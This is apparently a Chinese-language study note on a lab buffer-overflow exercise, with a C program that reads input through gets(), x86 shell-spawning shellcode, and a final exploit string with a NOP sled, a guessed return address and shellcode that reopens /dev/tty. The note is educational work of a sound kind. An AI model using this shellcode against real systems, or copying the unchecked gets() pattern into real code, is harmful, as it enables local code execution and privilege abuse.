//gets函数不会检查边界,会造成溢出
//gcc test.c -o flaw
1#include
2#include
3#include
4#include
5
6int main(int argc, char **argv)
7{
8 char buffer[64];
9
10 gets(buffer);
11}
修改http://shell-storm.org/shellcode/files/shellcode-827.php上的shellcode,让它适合这个程序
shellcode:"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd8\xfc\xff\xbf\x90\xfc\xff\xbf"
0x1 奇怪的现象:直接cat shellcode | ./flaw 会出现段错误(segment fault)。奇怪的是gdb调试的时候,确实执行到了shellcode,理应有一个shell出现啊.在gdb中,shell出现后立马退出。
google,看到是gets()函数的原因。
要想利用gets函数引起的缓冲区溢出,shellcode中应该要重新打开输入。(reopen the input)
也就是说,我开始找的shellcode刚好对gets函数无效。
于是,找了个有重新打开输入功能的shellcode。见link
0x2 奇怪的现象:直接cat shellcode | ./flaw 会出现非法指令(Illegal instruction)。但是用gdb调试的时候,执行完shellcode,就有一个shell出来了.
gdb调试程序和直接运行程序时,寄存器的值是不一样。
//打印寄存器的值
int main()
{
int i;
asm("\t movl %%ebx,%0" : "=r"(i));
printf("esp:%x\n",i);
return i + 1;
}
所以在栈中覆盖"EIP"值时,是跟寄存器中看到的是不一样的.
至于怎么能动态地计算出这个EIP值,现在还没接触到。
所以,我最终的那个要覆盖的"EIP"值其实是有点乱猜的成分.
最终的exp:
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x08\xfd\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
link:
https://www.mattandreko.com/2011/12/17/exploit-exercises-protostar-stack-5/
http://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d
http://www.exploit-db.com/exploits/13357/